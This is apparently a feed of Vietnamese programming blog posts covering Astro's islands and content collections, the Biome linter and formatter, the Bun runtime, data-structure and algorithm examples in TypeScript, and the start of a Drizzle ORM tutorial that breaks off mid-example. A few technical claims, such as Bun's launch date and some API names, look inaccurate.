<Component client:load />

<!-- Load khi idle (cho component không critical) -->
<Component client:idle />

<!-- Load khi component visible trong viewport -->
<Component client:visible />

<!-- Load khi tương tác (click, hover) — cho modal/dropdown -->
<Component client:only="react" />

<!-- Tương tác media query -->
<Component client:media="(min-width: 768px)" />

Mỗi island là một JS bundle riêng — không load React cho đến khi cần.

Zero JS Mặc Định

---
// Astro component — không runtime JS
const posts = await getCollection('blog')
---

<html>
  <head><title>Blog</title></head>
  <body>
    <h1>Bài Viết</h1>
    {posts.map(post => (
      <article>
        <h2><a href={`/blog/${post.slug}`}>{post.data.title}</a></h2>
        <p>{post.data.description}</p>
      </article>
    ))}
  </body>
</html>

Kết quả: HTML thuần. Không React runtime, không hydration, không JS bundle.

Content Collections

Content Collections là cách quản lý Markdown/MDX content có schema validation.

// src/content.config.ts
import { defineCollection, z } from 'astro:content'

const blog = defineCollection({
  schema: z.object({
    title: z.string().max(60),
    description: z.string().max(160),
    publishDate: z.coerce.date(),
    tags: z.array(z.string()).default([]),
    draft: z.boolean().default(false),
  }),
})

export const collections = { blog }

---
import { getCollection } from 'astro:content'

// Tất cả bài viết (trừ draft)
const posts = await getCollection('blog', ({ data }) => !data.draft)

// Sắp xếp theo ngày
const sorted = posts.sort(
  (a, b) => b.data.publishDate.valueOf() - a.data.publishDate.valueOf()
)
---

{posts.map(post => (
  <article>
    <h2><a href={`/blog/${post.id}`}>{post.data.title}</a></h2>
    <time>{post.data.publishDate.toDateString()}</time>
    <p>{post.data.description}</p>
  </article>
))}

---
// [slug].astro — dynamic route
import { getCollection, getEntry } from 'astro:content'

export async function getStaticPaths() {
  const posts = await getCollection('blog')
  return posts.map(post => ({
    params: { slug: post.id },
    props: { post },
  }))
}

const { post } = Astro.props
const { Content } = await post.render()
---

<article>
  <h1>{post.data.title}</h1>
  <Content />
</article>

View Transitions

View Transitions cho phép chuyển trang mượt mà không cần SPA:

---
// src/layouts/Layout.astro
---

<html>
  <head>
    <!-- Bật View Transitions cho toàn site -->
    <meta name="view-transition" content="same-origin" />
  </head>
  <body>
    <slot />
  </body>
</html>

Hoặc dùng component Astro:

---
import { ViewTransitions } from 'astro:transitions'
---

<html>
  <head>
    <ViewTransitions />
  </head>
</html>

Custom Animation

---
import { fade, slide } from 'astro:transitions'
---

<a href="/blog" transition:animate={slide}>Blog</a>

<div transition:animate={fade({ duration: '0.3s' })}>
  <slot />
</div>

Không cần React Router, không JS bundle. Trình duyệt xử lý animation native.

Server Islands

Astro cho phép render component dynamic trên server — không gửi JS cho client:

---
// Component render ở server, cache riêng
import Dashboard from '../components/Dashboard.astro'
---

<Layout>
  <Dashboard server:defer />
  <!-- Component render trên server, stream HTML khi sẵn sàng -->
</Layout>

Dùng cho: dữ liệu user-specific, API call nặng, cache riêng biệt.

Image Optimization

---
import { Image } from 'astro:assets'
import hero from '../images/hero.png'
---

<!-- Tự động resize, format AVIF/WebP, lazy load -->
<Image
  src={hero}
  alt="Hero image"
  widths={[400, 800, 1200]}
  sizes="(max-width: 800px) 100vw, 800px"
  loading="lazy"
  decoding="async"
/>

Astro tự động tối ưu: resize, format, responsive srcset.

Integrations

Astro hỗ trợ UI framework phổ biến qua integrations:

npx astro add react # React
npx astro add vue # Vue
npx astro add svelte # Svelte
npx astro add solid # SolidJS
npx astro add tailwind # Tailwind CSS
npx astro add mdx # MDX support
npx astro add vercel # Vercel adapter
npx astro add sitemap # Sitemap
npx astro add partytown # Web Workers

Build Output

Static Site (Mặc định)

npm run build
# dist/ — HTML, CSS, JS tĩnh
# Deploy lên Netlify, Vercel, Cloudflare Pages, S3...

Server-Side Rendering

// astro.config.ts
import vercel from '@astrojs/vercel/serverless'

export default defineConfig({
  output: 'server',
  adapter: vercel(),
})

# dist/server/ — server entry point
# API routes + dynamic pages render on request

Hybrid

// astro.config.ts
export default defineConfig({
  output: 'hybrid',  // Mặc định static, opt-in server
})

---
// pages/dashboard.astro — render trên server
export const prerender = false
---

Astro vs Next.js

| | Next.js | Astro | |---|---|---| | JS mặc định | React runtime (~40KB) | Zero JS | | Rendering | SSG/SSR/ISR | Static/SSR/Hybrid | | UI framework | React (Next) | React/Vue/Svelte/Solid (tuỳ chọn) | | Content | File system hoặc CMS | Content Collections | | Image | next/image | astro:assets | | Routing | File-based + App Router | File-based | | API routes | ✅ | ✅ (server mode) | | View Transitions | ❌ (cần thư viện) | ✅ Built-in | | Islands | ❌ (hydrate whole page) | ✅ Islands Architecture |

Chọn Next.js khi:

Web app phức tạp, cần nhiều client interaction
Dashboard với real-time data
Cần API routes phía backend
Team quen React ecosystem

Chọn Astro khi:

Content site (blog, docs, landing page)
E-commerce product pages
Portfolio, marketing site
Site cần load nhanh, SEO tốt
Muốn dùng nhiều UI framework cùng lúc

Tổng Kết

Astro sinh ra từ một insight đơn giản: hầu hết web là content, không phải app.

---
// Blog này chạy Astro — zero JS cho content, island cho interactive parts
const posts = await getCollection('blog')
---

{posts.map(post => (
  <article>
    <h2>{post.data.title}</h2>
    <p>{post.data.description}</p>
  </article>
))}

<!-- Only interactive part gets JS -->
<LikeButton client:visible />

| Tính năng | Astro | |---|---| | Zero JS mặc định | ✅ | | Islands Architecture | ✅ | | Content Collections | ✅ Schema, type-safe | | View Transitions | ✅ Built-in | | Server Islands | ✅ | | Image optimization | ✅ | | Multi-framework (React/Vue/Svelte) | ✅ | | Static + SSR + Hybrid | ✅ | | Bundle size | Trang này ~0KB JS |

Nếu site bạn là content-first — blog, docs, marketing, landing page — Astro là lựa chọn tốt nhất hiện tại.

Tài liệu tham khảo

Biome — Toolchain TypeScript Thay ESLint + Prettier

Fri, 03 Jul 2026 00:00:00 GMT

Biome là unified toolchain cho JavaScript/TypeScript/JSX/TSX — vừa linter, vừa formatter, viết bằng Rust.

ESLint  (lint)  + Prettier (format)
     ↓           ↓
   Biome (cả hai — nhanh hơn 10-20x)

Không plugin, không config rườm rà, không chờ đợi.

Tại Sao Biome?

Vấn đề với ESLint + Prettier

# Setup mệt:
npm i -D eslint prettier eslint-config-prettier \
  @typescript-eslint/parser @typescript-eslint/eslint-plugin \
  eslint-plugin-react eslint-plugin-react-hooks

# 5 file config:
.eslintrc.js  .prettierrc  .eslintignore  .prettierignore  tsconfig.json

ESLint 8s — chậm. Mỗi lần chạy linter: load parser, load plugin, parse AST, traverse, report. Prettier parse lại từ đầu.

Biome khác gì?

# Chỉ 1 lệnh:
npm i -D @biomejs/biome

# 1 file cấu hình (tùy chọn):
biome.json

Biome dùng chung một AST parser (rust-based), chạy lint + format trong một pass. Kết quả: nhanh hơn ~10-20x.

| | ESLint + Prettier | Biome | |---|---|---| | Thời gian format | 300-800ms | ~20-50ms | | Thời gian lint + format | 2-5s | ~50-100ms | | File config | 3-5 files | 0-1 file | | Plugin | Hàng trăm | Built-in (mở rộng dần) | | Language support | JS/TS + plugin | JS/TS/JSX/TSX/JSON/CSS |

Cài Đặt

mkdir biome-demo && cd biome-demo
npm init -y
npm i -D @biomejs/biome
npx biome init # tạo biome.json

biome.json mặc định:

{
  "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json",
  "organizeImports": {
    "enabled": true
  },
  "linter": {
    "enabled": true,
    "rules": {
      "recommended": true
    }
  },
  "formatter": {
    "enabled": true,
    "indentStyle": "space",
    "indentWidth": 2,
    "lineWidth": 80
  }
}

Chạy thử:

npx biome format src/ # format
npx biome lint src/ # lint
npx biome check src/ # lint + format + organize import
npx biome check --apply src/ # tự động sửa

Formatter

Biome format giống Prettier nhưng nhanh hơn và có khác biệt nhỏ:

// Input
const foo = { a: 'hello', b: 'world', c: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] }
const bar: Record<string, string> = { 'some-key': 'some-value', 'another-key': 'another-value' }

// Prettier output
const foo = {
  a: 'hello',
  b: 'world',
  c: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10],
};
const bar: Record<string, string> = {
  'some-key': 'some-value',
  'another-key': 'another-value',
};

// Biome output (gần giống, khác dấu phẩy cuối và indent default)
const foo = {
  a: "hello",
  b: "world",
  c: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10],
};

Khác biệt chính với Prettier:

Format attribute kiểu khác
Import sorting (built-in, không cần plugin)
Semicolons mặc định: có
Quote style mặc định: double

Import Organization

// Input lộn xộn
import { z } from 'zod';
import { readFile } from 'node:fs';
import { useEffect } from 'react';
import { initTRPC } from '@trpc/server';
import { createHTTPServer } from '@trpc/server/adapters/standalone';

// Sau biome check --apply
import { readFile } from 'node:fs';
import { useEffect } from 'react';
import { z } from 'zod';
import { initTRPC } from '@trpc/server';
import { createHTTPServer } from '@trpc/server/adapters/standalone';
//            ↑ node built-in → npm packages → local (tự động)

Không cần eslint-plugin-simple-import-sort hay @trivago/prettier-plugin-sort-imports.

Linter

Biome linter có sẵn ~200+ rules, được nhóm theo category:

{
  "linter": {
    "rules": {
      "recommended": true,
      "complexity": {
        "noForEach": "error",
        "noBannedTypes": "error"
      },
      "style": {
        "noNonNullAssertion": "error",
        "useConst": "error",
        "useTemplate": "error"
      },
      "suspicious": {
        "noConsoleLog": "warn"
      },
      "correctness": {
        "noUnusedVariables": "error"
      }
    }
  }
}

Rule categories: a11y, complexity, correctness, performance, security, style, suspicious.

Rule Ví Dụ

// complexity/noForEach
// ❌ Biome báo lỗi: forEach không hỗ trợ async, prefer for...of
[1, 2, 3].forEach(async (n) => {
  await fetch(`/api/${n}`);
});

// ✅
for (const n of [1, 2, 3]) {
  await fetch(`/api/${n}`);
}

// correctness/noUnusedVariables
function process(data: string) {
  const result = transform(data); // ❌ result không dùng
  return true;
}

// style/useTemplate
const name = 'World';
const msg = 'Hello, ' + name + '!';   // ❌ prefer template literal
const msg2 = `Hello, ${name}!`;        // ✅

Migration từ ESLint + Prettier

Bước 1: Cài Biome

npm i -D @biomejs/biome
npx biome init

Bước 2: Xoá ESLint + Prettier

npm uninstall eslint prettier eslint-config-prettier \
  @typescript-eslint/parser @typescript-eslint/eslint-plugin \
  eslint-plugin-react eslint-plugin-react-hooks

rm .eslintrc.js .eslintrc.json .prettierrc .eslintignore .prettierignore

Bước 3: Chạy check và sửa

npx biome check --apply src/

Bước 4: Thêm vào package.json

{
  "scripts": {
    "lint": "biome check src/",
    "format": "biome format --write src/",
    "check": "biome ci src/"
  }
}

Editor Integration

VS Code

npx @biomejs/biome init --vscode
# Hoặc cài extension "Biome" từ marketplace

.vscode/settings.json:

{
  "editor.formatOnSave": true,
  "[javascript]": {
    "editor.defaultFormatter": "biomejs.biome"
  },
  "[typescript]": {
    "editor.defaultFormatter": "biomejs.biome"
  },
  "[json]": {
    "editor.defaultFormatter": "biomejs.biome"
  },
  "editor.codeActionsOnSave": {
    "source.organizeImports.biome": "explicit"
  }
}

Lưu ý khi đã có ESLint extension

Tắt ESLint extension hoặc disable cho project:

{
  "eslint.enable": false
}

CI/CD

# GitHub Actions
name: Lint
on: [push, pull_request]
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
      - run: npm ci
      - run: npx biome ci src/
        # biome ci — không sửa file, chỉ báo lỗi

# Husky + lint-staged
# .lintstagedrc.json
{
  "*.{js,ts,jsx,tsx,json}": ["biome check --apply"]
}

Ignore Files

{
  "files": {
    "ignore": ["dist", "build", ".next", "coverage"]
  }
}

Hoặc file .gitignore — Biome tự đọc .gitignore mặc định.

Tùy Chỉnh Format

{
  "formatter": {
    "enabled": true,
    "indentStyle": "space",
    "indentWidth": 2,
    "lineWidth": 100,
    "lineEnding": "lf",
    "attributePosition": "auto"
  },
  "javascript": {
    "formatter": {
      "quoteStyle": "single",
      "jsxQuoteStyle": "double",
      "trailingCommas": "all",
      "semicolons": "always",
      "arrowParentheses": "always",
      "bracketSpacing": true
    }
  },
  "json": {
    "formatter": {
      "trailingCommas": "none"
    }
  }
}

Khi Nào Nên Dùng Biome?

✅ Nên

Dự án mới bằng TypeScript
Team đang dùng ESLint + Prettier, muốn chạy nhanh hơn
Monorepo với nhiều package
CI pipeline chậm vì lint
Developer experience — muốn ít config hơn

❌ Chưa nên

Cần plugin ESLint đặc thù (eslint-plugin-import, eslint-plugin-jsx-a11y nâng cao)
Dùng eslint-plugin-vue / eslint-plugin-angular — Biome chưa hỗ trợ
Dùng Prettier plugin cho Markdown/YAML — Biome format JSON/JS/TS/CSS
Custom parser / custom ESLint rule nội bộ

So Sánh Tốc Độ

Codebase ~1000 file TypeScript:

# ESLint + Prettier
time npx eslint src/ --fix && npx prettier --write src/
# → ~8.4s

# Biome
time npx biome check --apply src/
# → ~0.4s

# Nhanh hơn ~20x

Không chỉ nhanh hơn — còn ít flaky hơn vì không có conflict giữa plugin.

Biome trong Monorepo

{
  "workspace": ["packages/*"]
}

# Cấu trúc
biome.json # root config
packages/
  web/biome.json # override
  api/biome.json

// packages/web/biome.json — override một phần
{
  "extends": ["../../biome.json"],
  "linter": {
    "rules": {
      "suspicious": {
        "noConsoleLog": "off"
      }
    }
  }
}

Tổng Kết

Biome mang lại trải nghiệm dev tooling đơn giản hơn, nhanh hơn, ít config hơn.

| | ESLint + Prettier | Biome | |---|---|---| | Cài đặt | 5+ dependencies | 1 dependency | | Config | 3-5 files | 0-1 file | | Tốc độ | 1-10s | 50-500ms | | Language | JS/TS (plugin) | JS/TS/JSX/TSX/JSON/CSS | | Import sort | Plugin riêng | Built-in | | Parser | 2 parsers (lint + format) | 1 parser chung | | Rust | ❌ | ✅ |

# Chỉ cần nhớ 3 lệnh
npx biome format src/ # format
npx biome lint src/ # lint
npx biome check --apply src/ # lint + format + organize import

Biome chưa hoàn thiện như ESLint 15 năm tuổi, nhưng cho 90% use case hàng ngày, nó nhanh hơn, đơn giản hơn, và đỡ đau đầu hơn hẳn.

Tài liệu tham khảo

Bun — JavaScript Runtime Tốc Độ Cao Cho Kỷ Nguyên Mới

Fri, 03 Jul 2026 00:00:00 GMT

Cuối 2024, Jarred Sumner giới thiệu Bun — và nó nhanh chóng gây sốt. Không chỉ là runtime chạy JavaScript, Bun là một all-in-one toolkit: runtime, package manager, bundler, test runner — tất cả trong một binary duy nhất.

Từ đó đến nay (2026), Bun đã trưởng thành vượt bậc, đạt 90% Node.js API compatibility và trở thành lựa chọn thực tế cho nhiều dự án production.

Tốc Độ Đến Từ Đâu?

Bun nhanh hơn Node.js nhờ ba yếu tố:

1. JavaScriptCore Thay Vì V8

Hầu hết runtime JS dùng V8 (Node, Deno). Bun dùng JavaScriptCore — engine của Safari — vốn được tối ưu cho khởi động nhanh:

| Runtime | Engine | Khởi động | |---|---|---| | Node.js | V8 | Chậm hơn (JIT warming) | | Bun | JavaScriptCore | Nhanh hơn ~4x | | Deno | V8 | Tương tự Node |

2. Viết Bằng Zig

Zig là ngôn ngữ hệ thống không runtime, không GC — cho phép Bun kiểm soát bộ nhớ chi tiết mà vẫn an toàn:

// Zig cho phép Bun tối ưu thấp như C, an toàn như Rust
// mà không cần GC overhead

3. Lazy Compilation — Không `node_modules` Ăn Mòn

Bun không cần đọc toàn bộ dependency graph khi khởi động. Nó compile file khi thực sự cần — giảm cold start từ 500ms xuống còn ~150ms.

Bun Làm Được Gì?

Bun Install — Thay Thế npm/yarn/pnpm

# Nhanh hơn npm ~20x, yarn ~15x
bun install

# Lockfile riêng (bun.lock) — nhẹ hơn package-lock.json 5x

Cơ chế: Bun dùng bun.lock binary thay vì JSON, parse nhanh hơn. Đồng thời nó tải package song song qua HTTP/2 — không cần phải lần lượt.

Test Runner — Drop-in Replacement Cho Jest

import { describe, it, expect, mock } from 'bun:test';

describe('UserService', () => {
  it('should create user', async () => {
    const user = await createUser({ name: 'Alice' });
    expect(user.name).toBe('Alice');
  });
});

bun test # Chạy test
bun test --watch # Watch mode
bun test --coverage # Coverage

Built-in, không cần cấu hình. Nhanh hơn Jest ~10x vì không phải transform file qua Babel mỗi lần.

Bundler — Webpack/esbuild Thay Thế

bun build ./src/index.ts --outdir ./dist

Hỗ trợ:

TypeScript, JSX, CSS — out-of-the-box
Code splitting, tree shaking
Loader plugin API
Source maps

Performance: ~1.5x nhanh hơn esbuild, ~20x nhanh hơn Webpack.

Bun.serve — HTTP Server Built-in

Bun.serve({
  port: 3000,
  fetch(request) {
    return new Response('Hello from Bun!');
  },
});

Không cần Express, không cần hono — server HTTP chạy native từ runtime, xử lý ~300k request/giây.

Bun.file — File I/O Đơn Giản

// Đọc file — một dòng
const file = Bun.file('data.json');
const json = await file.json();

// Ghi file
await Bun.write('output.txt', 'Hello');

// Stream
const stream = file.stream();

Bun.sqlite — SQLite Built-in

Không cần cài thư viện — Bun có SQLite sẵn:

const db = new Bun.SQLite(':memory:');
db.run(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)
`);
db.run('INSERT INTO users (name) VALUES (?)', ['Alice']);
const users = db.query('SELECT * FROM users').all();

Migration Từ Node.js Sang Bun

Phần lớn project Node.js chạy được ngay với Bun:

bun run index.ts # Chạy file TS trực tiếp (không cần ts-node)
bun run dev # Chạy npm script
bunx prisma generate # Bun thay thế npx

Tương Thích Với Hệ Sinh Thái

| Package | Node.js | Bun | Ghi chú | |---|---|---|---| | Express | ✅ | ✅ | Tương thích | | Fastify | ✅ | ✅ | Tương thích | | Prisma | ✅ | ✅ | Hỗ trợ chính thức | | Next.js | ✅ | ✅ | Bun runtime cho dev | | Socket.IO | ✅ | ✅ | Tương thích | | node:fs | ✅ | ✅ | API tương thích 99% | | node:http | ✅ | ✅ | API tương thích |

Một số package dùng native addon (node-gyp) cần rebuild — nhưng con số này giảm dần khi Bun phát triển.

Bun Trong Thực Tế

CICD — Giảm 60% Thời Gian Build

# GitHub Actions với Bun
- uses: oven-sh/setup-bun@v2
- run: bun install
- run: bun test
- run: bun run build

Các project lớn như Vercel, Cloudflare đều hỗ trợ Bun trong pipeline từ 2025.

Serverless — Cold Start Ấn Tượng

Bun khởi động nhanh gấp 4x Node.js — lý tưởng cho serverless function (Lambda, Cloudflare Workers). Cold start từ ~800ms (Node) xuống ~200ms (Bun).

Workspace Monorepo

bun run --filter=@app/* test

Quản lý monorepo không cần Turborepo/Nx — Bun workspace built-in hoạt động mượt.

Bun So Sánh Với Deno

| Tiêu chí | Bun | Deno | |---|---|---| | Engine | JavaScriptCore | V8 | | Ngôn ngữ | Zig | Rust | | Package manager | Built-in | npm (third-party) | | Test runner | Built-in | Built-in | | Bundler | Built-in | Không | | Node compat | ~90% | ~95% | | Lockfile | bun.lock | deno.lock |

Deno mạnh về security (permission system), Bun mạnh về tốc độ và tích hợp.

Hạn Chế (2026)

Dù đã rất tiến bộ, Bun vẫn có điểm yếu:

Native addon: Một số package C++ addon chưa compatible
Windows: Chạy được nhưng chưa mượt bằng macOS/Linux
Ecosystem depth: Một số tool niche chưa test đầy đủ trên Bun
Production tracking: Ít case study production quy mô lớn hơn Node

Kết Luận

Bun không thay thế Node.js ngay lập tức — nhưng nó đặt ra chuẩn mới cho runtime JavaScript:

Tốc độ: Khởi động nhanh, thực thi nhanh
Tích hợp: Một binary thay cả npm + Jest + Webpack + Node
Tương thích: Chạy được code Node.js hiện có

Nếu bạn bắt đầu project mới, Bun là lựa chọn mặc định tốt. Với project cũ, có thể migrate dần — bắt đầu từ bun install và bun test trước, khi thấy ổn thì chuyển hẳn sang bun run.

"Bun không làm JavaScript chạy nhanh hơn — nó làm developer chạy nhanh hơn."

Tài liệu tham khảo

Data Structures & Algorithms — Từ Cơ Bản Đến Phỏng Vấn

Fri, 03 Jul 2026 00:00:00 GMT

Data Structures & Algorithms (DSA) là nền tảng của khoa học máy tính. Không chỉ cho phỏng vấn — nó giúp bạn viết code hiệu quả hơn.

Array

// Mảng — contiguous memory, O(1) access, O(n) insert/delete
const arr = [1, 2, 3, 4, 5];

// Two-pointer — kỹ thuật phổ biến
function twoSum(nums: number[], target: number): number[] {
  let left = 0, right = nums.length - 1;
  while (left < right) {
    const sum = nums[left] + nums[right];
    if (sum === target) return [left, right];
    if (sum < target) left++;
    else right--;
  }
  return [];
}

// Sliding window
function maxSubarraySum(nums: number[], k: number): number {
  let max = 0, window = 0;
  for (let i = 0; i < nums.length; i++) {
    window += nums[i];
    if (i >= k) window -= nums[i - k];
    if (i >= k - 1) max = Math.max(max, window);
  }
  return max;
}

Linked List

class ListNode {
  constructor(public val: number, public next: ListNode | null = null) {}
}

// Reverse linked list
function reverseList(head: ListNode | null): ListNode | null {
  let prev = null;
  let curr = head;
  while (curr) {
    const next = curr.next;
    curr.next = prev;
    prev = curr;
    curr = next;
  }
  return prev;
}

// Detect cycle (Floyd's algorithm)
function hasCycle(head: ListNode | null): boolean {
  let slow = head, fast = head;
  while (fast?.next) {
    slow = slow!.next;
    fast = fast.next.next;
    if (slow === fast) return true;
  }
  return false;
}

Stack & Queue

// Stack — LIFO (Last In, First Out)
// Dùng: undo, bracket matching, DFS
function isValidBrackets(s: string): boolean {
  const stack: string[] = [];
  const pairs: Record<string, string> = { ')': '(', '}': '{', ']': '[' };

  for (const char of s) {
    if ('({['.includes(char)) {
      stack.push(char);
    } else {
      if (stack.pop() !== pairs[char]) return false;
    }
  }
  return stack.length === 0;
}

// Queue — FIFO (First In, First Out)
// Dùng: BFS, task processing, message queue
class Queue<T> {
  private items: T[] = [];
  enqueue(item: T) { this.items.push(item); }
  dequeue(): T | undefined { return this.items.shift(); }
  isEmpty(): boolean { return this.items.length === 0; }
}

Hash Table

// O(1) average lookup — dùng Map/Set
const countMap = new Map<string, number>();

// Đếm frequency
for (const char of str) {
  countMap.set(char, (countMap.get(char) || 0) + 1);
}

// Two Sum với Hash Map
function twoSum(nums: number[], target: number): number[] {
  const map = new Map<number, number>();
  for (let i = 0; i < nums.length; i++) {
    const complement = target - nums[i];
    if (map.has(complement)) return [map.get(complement)!, i];
    map.set(nums[i], i);
  }
  return [];
}

Tree

class TreeNode {
  constructor(
    public val: number,
    public left: TreeNode | null = null,
    public right: TreeNode | null = null,
  ) {}
}

// DFS — Depth First Search
function inorderTraversal(root: TreeNode | null): number[] {
  const result: number[] = [];
  function dfs(node: TreeNode | null) {
    if (!node) return;
    dfs(node.left);
    result.push(node.val);   // In-order
    dfs(node.right);
  }
  dfs(root);
  return result;
}

// BFS — Level Order
function levelOrder(root: TreeNode | null): number[][] {
  if (!root) return [];
  const queue = [root];
  const result: number[][] = [];

  while (queue.length) {
    const levelSize = queue.length;
    const level: number[] = [];

    for (let i = 0; i < levelSize; i++) {
      const node = queue.shift()!;
      level.push(node.val);
      if (node.left) queue.push(node.left);
      if (node.right) queue.push(node.right);
    }
    result.push(level);
  }
  return result;
}

// Validate BST
function isValidBST(root: TreeNode | null, min = -Infinity, max = Infinity): boolean {
  if (!root) return true;
  if (root.val <= min || root.val >= max) return false;
  return isValidBST(root.left, min, root.val) &&
         isValidBST(root.right, root.val, max);
}

Graph

// Adjacency list
const graph = new Map<number, number[]>();
graph.set(1, [2, 3]);
graph.set(2, [4]);
graph.set(3, [4, 5]);

// DFS
function dfs(graph: Map<number, number[]>, start: number): number[] {
  const visited = new Set<number>();
  const result: number[] = [];

  function explore(node: number) {
    if (visited.has(node)) return;
    visited.add(node);
    result.push(node);
    for (const neighbor of graph.get(node) || []) {
      explore(neighbor);
    }
  }
  explore(start);
  return result;
}

// BFS
function bfs(graph: Map<number, number[]>, start: number): number[] {
  const visited = new Set<number>([start]);
  const queue = [start];
  const result: number[] = [];

  while (queue.length) {
    const node = queue.shift()!;
    result.push(node);
    for (const neighbor of graph.get(node) || []) {
      if (!visited.has(neighbor)) {
        visited.add(neighbor);
        queue.push(neighbor);
      }
    }
  }
  return result;
}

// Dijkstra — Shortest Path
function dijkstra(graph: Map<number, [number, number][]>, start: number): Map<number, number> {
  const distances = new Map<number, number>();
  const visited = new Set<number>();
  const pq: [number, number][] = [[start, 0]]; // [node, distance]

  distances.set(start, 0);

  while (pq.length) {
    pq.sort((a, b) => a[1] - b[1]);
    const [node, dist] = pq.shift()!;
    if (visited.has(node)) continue;
    visited.add(node);

    for (const [neighbor, weight] of graph.get(node) || []) {
      const newDist = dist + weight;
      if (newDist < (distances.get(neighbor) ?? Infinity)) {
        distances.set(neighbor, newDist);
        pq.push([neighbor, newDist]);
      }
    }
  }
  return distances;
}

Sorting

// Quick Sort — O(n log n) average
function quickSort(arr: number[]): number[] {
  if (arr.length <= 1) return arr;
  const pivot = arr[Math.floor(arr.length / 2)];
  const left = arr.filter(x => x < pivot);
  const middle = arr.filter(x => x === pivot);
  const right = arr.filter(x => x > pivot);
  return [...quickSort(left), ...middle, ...quickSort(right)];
}

// Merge Sort — O(n log n) ổn định
function mergeSort(arr: number[]): number[] {
  if (arr.length <= 1) return arr;
  const mid = Math.floor(arr.length / 2);
  const left = mergeSort(arr.slice(0, mid));
  const right = mergeSort(arr.slice(mid));
  return merge(left, right);
}

function merge(left: number[], right: number[]): number[] {
  const result: number[] = [];
  let i = 0, j = 0;
  while (i < left.length && j < right.length) {
    result.push(left[i] < right[j] ? left[i++] : right[j++]);
  }
  return [...result, ...left.slice(i), ...right.slice(j)];
}

Big O — Time Complexity

| Cấu trúc | Access | Search | Insert | Delete | |---|---|---|---|---| | Array | O(1) | O(n) | O(n) | O(n) | | Stack | O(n) | O(n) | O(1) | O(1) | | Queue | O(n) | O(n) | O(1) | O(1) | | Linked List | O(n) | O(n) | O(1) | O(1) | | Hash Table | O(1)* | O(1)* | O(1)* | O(1)* | | BST | O(log n) | O(log n) | O(log n) | O(log n) |

Mẹo Phỏng Vấn

// 1. Brute force trước, optimize sau
// 2. Nói to suy nghĩ (think aloud)
// 3. Edge cases: empty, single element, all same
// 4. Time & space complexity

// Common patterns:
// - Two pointers (sorted array)
// - Sliding window (subarray)
// - Binary search (sorted data)
// - BFS/DFS (tree, graph)
// - Hash map (counting, lookup)
// - Dynamic programming (overlapping subproblems)

Kết Luận

DSA là kỹ năng nền tảng. Học theo thứ tự:

Array + Hash Table — hay dùng nhất
Stack + Queue — pattern cơ bản
Linked List — pointer manipulation
Tree + Graph — traversal, recursion
Sorting — divide and conquer

Luyện tập: LeetCode (Easy → Medium), daily challenge. Không cần giải Hard — focus vào pattern recognition.

Tài liệu tham khảo

Drizzle ORM — SQL Cho TypeScript Type-Safe

Fri, 03 Jul 2026 00:00:00 GMT

Drizzle ORM là TypeScript ORM "SQL-like" — bạn viết SQL, nó suy ra type.

import { drizzle } from 'drizzle-orm/better-sqlite3'
import { sqliteTable, text, integer } from 'drizzle-orm/sqlite-core'
import Database from 'better-sqlite3'

const db = drizzle(new Database('blog.db'))

const users = sqliteTable('users', {
  id: integer().primaryKey({ autoIncrement: true }),
  name: text().notNull(),
  email: text().notNull().unique(),
})

// Query — type-safe, SQL-like syntax
const result = await db.select()
  .from(users)
  .where(eq(users.email, 'alice@example.com'))
// result: { id: number; name: string; email: string }[]

Không Prisma schema riêng, không codegen, không chạy CLI để generate type. Schema = code → type suy ra tự động.

Drizzle vs Prisma

| | Prisma | Drizzle | |---|---|---| | Schema | SDL riêng (.prisma) | TypeScript code | | Codegen | prisma generate | Không cần | | Kích thước | ~30MB | ~500KB | | Edge support | ⚠️ Hạn chế | ✅ Native | | SQL-like query | ❌ | ✅ | | Raw SQL | ⚠️ | ✅ Dễ | | Migration | prisma migrate | drizzle-kit push/migrate | | Join | include/select | leftJoin/innerJoin |

Drizzle nhẹ hơn, TypeScript-native hơn, và chạy được trên edge (Cloudflare Workers, Deno, Bun).

Schema

SQLite

import { sqliteTable, text, integer, real } from 'drizzle-orm/sqlite-core'

export const posts = sqliteTable('posts', {
  id: integer().primaryKey({ autoIncrement: true }),
  title: text().notNull(),
  slug: text().notNull().unique(),
  content: text().notNull(),
  publishedAt: integer({ mode: 'timestamp' }).notNull(),
  views: integer().default(0),
  rating: real(),
})

PostgreSQL

import { pgTable, text, integer, timestamp, serial } from 'drizzle-orm/pg-core'

export const users = pgTable('users', {
  id: serial().primaryKey(),
  name: text().notNull(),
  email: text().notNull().unique(),
  createdAt: timestamp().defaultNow().notNull(),
  role: text().$type<'admin' | 'user' | 'moderator'>().default('user'),
})

MySQL

import { mysqlTable, int, text, varchar } from 'drizzle-orm/mysql-core'

export const products = mysqlTable('products', {
  id: int().primaryKey().autoincrement(),
  name: varchar({ length: 255 }).notNull(),
  price: int().notNull(),
  description: text(),
})

Query

SELECT

// Tất cả columns
const all = await db.select().from(users)

// Column cụ thể
const names = await db.select({ name: users.name }).from(users)

// WHERE
const active = await db.select()
  .from(users)
  .where(eq(users.status, 'active'))

// WHERE với nhiều điều kiện
const result = await db.select()
  .from(users)
  .where(and(
    eq(users.status, 'active'),
    gte(users.age, 18),
    like(users.name, '%Alice%'),
  ))

// ORDER BY + LIMIT + OFFSET
const page = await db.select()
  .from(users)
  .orderBy(desc(users.createdAt))
  .limit(10)
  .offset(0)

INSERT

// Single
const [user] = await db.insert(users).values({
  name: 'Alice',
  email: 'alice@example.com',
}).returning()

// Bulk
await db.insert(users).values([
  { name: 'Bob', email: 'bob@example.com' },
  { name: 'Charlie', email: 'charlie@example.com' },
])

UPDATE

await db.update(users)
  .set({ name: 'Alice Updated' })
  .where(eq(users.id, 1))

DELETE

await db.delete(users)
  .where(eq(users.id, 1))

Relations & Join

import { relations } from 'drizzle-orm'

export const users = sqliteTable('users', {
  id: integer().primaryKey({ autoIncrement: true }),
  name: text().notNull(),
})

export const posts = sqliteTable('posts', {
  id: integer().primaryKey({ autoIncrement: true }),
  title: text().notNull(),
  authorId: integer().notNull().references(() => users.id),
})

// Định nghĩa relations
export const usersRelations = relations(users, ({ many }) => ({
  posts: many(posts),
}))

export const postsRelations = relations(posts, ({ one }) => ({
  author: one(users, {
    fields: [posts.authorId],
    references: [users.id],
  }),
}))

Query với joins

// JOIN thủ công
